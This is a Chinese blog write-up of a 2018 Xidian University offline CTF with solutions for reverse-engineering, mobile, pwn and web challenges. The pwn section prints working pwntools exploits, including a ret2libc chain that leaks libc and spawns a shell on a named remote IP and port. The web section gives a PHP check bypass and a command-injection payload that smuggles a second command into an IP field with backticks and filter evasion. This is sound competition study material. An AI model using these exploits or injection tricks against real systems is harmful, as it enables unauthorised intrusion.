CTF

西电网信杯线下wp

西电网信杯

Posted by Mr.R on July 22, 2018

西电网信杯线下赛题目wp

今年师傅们出题挺好的 就是 题目分布有点倾斜 对于专攻某些方面的dalao们不太友好

RE

题目包

  • RE1
    送分题目 使用od直接nop掉判断即可
  • RE2
    首先丢进ida 根据分析,我们可以得出flag格式:
    flag{x*32}
    我们可以注意到v11是ebp-13h,v11是’}’
    那么src的开头为ebp-33h,则src的长度就是0x33-0x13 –> 32位 接下来讲src赋给了dst 跟进接下来的函数 我们可以发现他实际就是将dst与另一个数组中的值进行了异或
    继续跟进, 发现实际就是对v7数组进行赋值,最后再用v7进行比对,那么我们很容易写出程序
str1 = "23gjf13au98hk3a1090zp8qjs41h39jp"
add = [0x04,0x0F,0x0B,0x1E,0x0E,0x14,0x1F,0x09,0x17,0x02,0x19,0x1C,0x12,0x10,0x00,0x08,0x11,0x01,0x15,0x03,0x0A,0x1D,0x0C,0x16,0x18,0x0D,0x1B,0x05,0x07,0x06,0x13,0x1A]
str2 = ''
dict1 = [0x53,0x45,0x5C,0x1E,0x50,0x13,0x2F,0x78,0x04,0x53,0x58,0x4A,0x43,0x01,0x41,0x2A,0x08,0x40,0x67,0x2F,0x0C,0x4A,0x12,0x2E,0x41,0x6C,0x05,0x54,0x40,0x12,0x5B,0x4F]
flag = 'flag{'
for i in range(len(str1)):
    str2 += chr(ord(str1[add[i]]))
for i in range(len(str2)):
    flag += chr( ord(str2[i])^dict1[i] )
flag += '}'
print flag

得到flag

flag{5t4t1c_An4lys1s_1s_E4sy_2_me!!!~}

  • RE3
    看到这两个字符串,我们就要大胆的猜测是存在base64和迷宫
    将下面一串字符重新排列之后

    再分析代码
      2 -> down  
      1 -> up  
      3 -> left  
      4 -> right  
    

    我们可以得出在base64前的字符

    222441144222

    同时,我们发现他的base64编码表是有替换的,于是可得出解密程序:

from base64 import b64encode
import string
s = "222441144222"
list1 = "0123456789ABCDEabcdefghijklFGHIJKLMNOPQRSTUVWXYZmnopqrstuvwxyz+="
list2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
str1 = b64encode(s)
flag = ''
for i in str1:
    num = list2.index(i)
    flag += list1[num]
print flag

flag:CN8oD3bnCebqCN8o

  • Mobile
    也是一个送分题….直接dex2jar就可以获得源码
    很容易得知是rsa加密,且私钥通过解密可知
f = open("key.txt","r")
key = f.read()
f.close()
key1 = ''
for i in range(len(key)):
    if(i % 2 == 0):
        temp = ord(key[i])+2
    else:
        temp = ord(key[i])-1
    key1 += chr(temp)
print key1

根据密文与私钥即可解密获得flag

pwn

  • pwn1 又是一道送分题



    很显然可以直接将ret覆盖成system调用地址
from pwn import *
s = process("./ez_pwn")
system = 0x04007A1
s.sendline("5438")
payload = 'A'*0x20+p64(1)+p64(system)
print payload
s.sendline(payload)
s.interactive()
  • pwn2
    一道传统的菜单题 漏洞出现在这个函数
    read_x 实际上就是一个read函数,显然我们可以溢出
    padding = 0x40+8
    就可以控制ret
    同时利用puts和给予的libc就可以leak出system
    其中需要注意的就是 64位传参使用的是寄存器

    从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递

    对Rop的搜索使用ROPgadget即可
    所以对整个的程序的编写思路就是:

    1. leak出偏移,返回主函数
    2. 调用system,获得shell
      exp如下:
#-*-coding=utf-8-*-
from pwn import *

# s = process('./relro')

#暂时靶机还开着
s = remote('118.25.227.117',10000)
elf = ELF("./relro")
libc = ELF("./libc64.so")

put_plt = elf.plt['puts']
put_got = elf.got['puts']
pop_rdi = 0x0000000000400cd3
ret = 0x04008F2

#Get Offset
s.sendline("1")
payload = 'A'*0x40+'A'*8+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(ret)
s.sendline(payload)
s.recvuntil("save message success.\n")
put_real = u64(s.recvline(keepends=False)[0:8].ljust(8,'\x00'))
offset = put_real-libc.symbols['puts']

system_add = libc.symbols['system']+offset
bin_sh = next(libc.search('/bin/sh'))+offset
s.sendline("1")
payload = 'A'*0x40+'a'*8+p64(pop_rdi)+p64(bin_sh)+p64(system_add)+p64(1)
print payload
s.sendline(payload)
s.interactive()

flag:flag{I_am_on_your_behind}

WEB

  • web1
    送分,直接变量覆盖出GLOBAL全局变量就可以
  • web2
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_xid1an' && intval($password) < 232 && intval($password + 1) > 233) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';
    }
}

highlight_file(__FILE__);
源码如上 绕过这些限制需要几个小trick 1. chr函数在转换时会自动取模256,所以我们只需要在原本ascii码基础上+256即可 2. intval()在处理16进制时存在问题,但强制转换时时正常的. > payload: value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367&value[10]=351&value[11]=376&value[12]=361&value[13]=356&value[14]=305&value[15]=353&value[16]=366&password=0x123   flag: flag{bd6c746d0196a31e42c2a1ac7e7dbc4b}
  • web3
    一个命令执行,大部分命令都被过滤了,但我们可以考虑使用拼接,同时空格可以使用tab绕过或者使用${IFS}绕过.
    关于拼接,bash中可以使用变量的方式,例如:
    a=ca;b=t;$a$b flag

payload: 127.0.0.1`a=c;b=at;$a$b{此处为tab}flag`